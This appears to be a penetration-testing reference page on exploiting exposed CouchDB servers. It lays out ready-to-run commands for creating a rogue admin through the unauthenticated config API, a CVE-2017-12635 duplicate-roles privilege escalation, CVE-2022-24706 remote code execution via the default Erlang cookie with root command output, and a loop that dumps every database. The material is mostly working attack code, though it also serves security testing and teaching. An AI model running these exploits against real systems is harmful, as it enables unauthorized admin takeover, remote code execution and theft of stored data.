# CouchDB Unauthenticated Admin Access

> Exploit CouchDB misconfiguration allowing unauthenticated admin access, enabling full database control, data exfiltration, and remote code execution via HTTP API.

- **URL:** https://hackindex.io/services/couchdb/exploitation/couchdb-unauthenticated-admin-access
- **Path:** CouchDB > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/couchdb/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

CouchDB before version 3.0 allowed unauthenticated admin account creation through its HTTP API (sometimes called "Admin Party"). In newer versions, misconfigurations or default setups may still expose the admin creation endpoint. Beyond privilege escalation, CouchDB's Erlang runtime has produced critical RCE vulnerabilities. Confirm the target version and open endpoints through [CouchDB enumeration](https://hackindex.io/services/couchdb/enumeration/couchdb-database-enumeration) first.

## Admin Party (No Admins Configured)

When CouchDB has no admin accounts configured, every request has admin privileges. This is the default state after a fresh install if the setup wizard was skipped. Check whether any admins exist.

**Check for existing admins**

```bash
curl -s http://$TARGET_IP:5984/_node/_local/_config/admins | python3 -m json.tool
# {}
```

## Creating an Admin Account

If no admins exist, create one through the config API. This immediately enables authentication and locks out other unauthenticated users.

```bash
curl -s -X PUT http://$TARGET_IP:5984/_node/_local/_config/admins/hacker -d '"password123"'
# ""
```

> [!WARNING]
> Use the new credentials for authenticated access to all API endpoints.

**Authenticate with the new admin account**

```bash
curl -s -u hacker:password123 http://$TARGET_IP:5984/_all_dbs | python3 -m json.tool
```

## CVE-2017-12635: Privilege Escalation via Duplicate Keys

CouchDB before 1.7.0 and 2.x before 2.1.1 has a JSON parsing inconsistency between Erlang and JavaScript. Sending duplicate `roles` keys in a user creation request lets the attacker set `_admin` roles. The Erlang JSON parser uses the last value while the JavaScript validator uses the first.

```bash
curl -s -X PUT http://$TARGET_IP:5984/_users/org.couchdb.user:attacker \
  -H 'Content-Type: application/json' \
  -d '{"type": "user", "name": "attacker", "roles": ["_admin"], "roles": [], "password": "password123"}'
# {"ok":true,"id":"org.couchdb.user:attacker","rev":"1-abc123"}
```

## CVE-2022-24706: Erlang Cookie RCE

CouchDB 3.x before 3.2.2 ships with a default Erlang distribution cookie (`monster`). If the Erlang Port Mapper Daemon (EPMD, port 4369) and a distribution port (default range 9100-9200) are reachable, an attacker can connect to the Erlang VM and execute arbitrary OS commands.

**Check for EPMD and distribution ports**

```bash
nmap -sV -p 4369,5984,9100-9200 $TARGET_IP
# PORT     STATE SERVICE  VERSION
# 4369/tcp open  epmd     Erlang Port Mapper Daemon
# 5984/tcp open  http     CouchDB httpd 3.2.1
# 9100/tcp open  erlang   Erlang distribution
```

**Connect with the default cookie and execute commands**

```bash
python3 exploit_cve_2022_24706.py --target $TARGET_IP --cookie monster --cmd 'id'
# uid=0(root) gid=0(root) groups=0(root)
```

Manual exploitation is also possible via `erl` (Erlang shell). Connect to the target's Erlang node with `-setcookie monster`, then use `os:cmd/1` to run system commands.

**Manual Erlang shell connection**

```bash
erl -name attacker@$LHOST -setcookie monster -remsh couchdb@$TARGET_IP
```

## Data Extraction

With admin access (through any method above), dump all databases and their documents.

**Dump all documents from all databases**

```bash
for db in $(curl -s -u hacker:password123 http://$TARGET_IP:5984/_all_dbs | python3 -c "import sys,json; [print(d) for d in json.load(sys.stdin)]"); do
  echo "=== $db ==="
  curl -s -u hacker:password123 "http://$TARGET_IP:5984/$db/_all_docs?include_docs=true" | python3 -m json.tool
done
```

## References

- [NVD: CVE-2022-24706](https://nvd.nist.gov/vuln/detail/CVE-2022-24706) - CouchDB default Erlang cookie RCE (CVSS 9.8).
- [NVD: CVE-2017-12635](https://nvd.nist.gov/vuln/detail/CVE-2017-12635) - CouchDB privilege escalation via duplicate JSON keys.
- [CouchDB: Cluster Setup](https://docs.couchdb.org/en/stable/setup/cluster.html) - Official docs on Erlang cookie configuration and cluster security.
- [supermetrics-public/CVE-2022-24706](https://github.com/supermetrics-public/CVE-2022-24706) - PoC exploit for CVE-2022-24706 Erlang cookie RCE.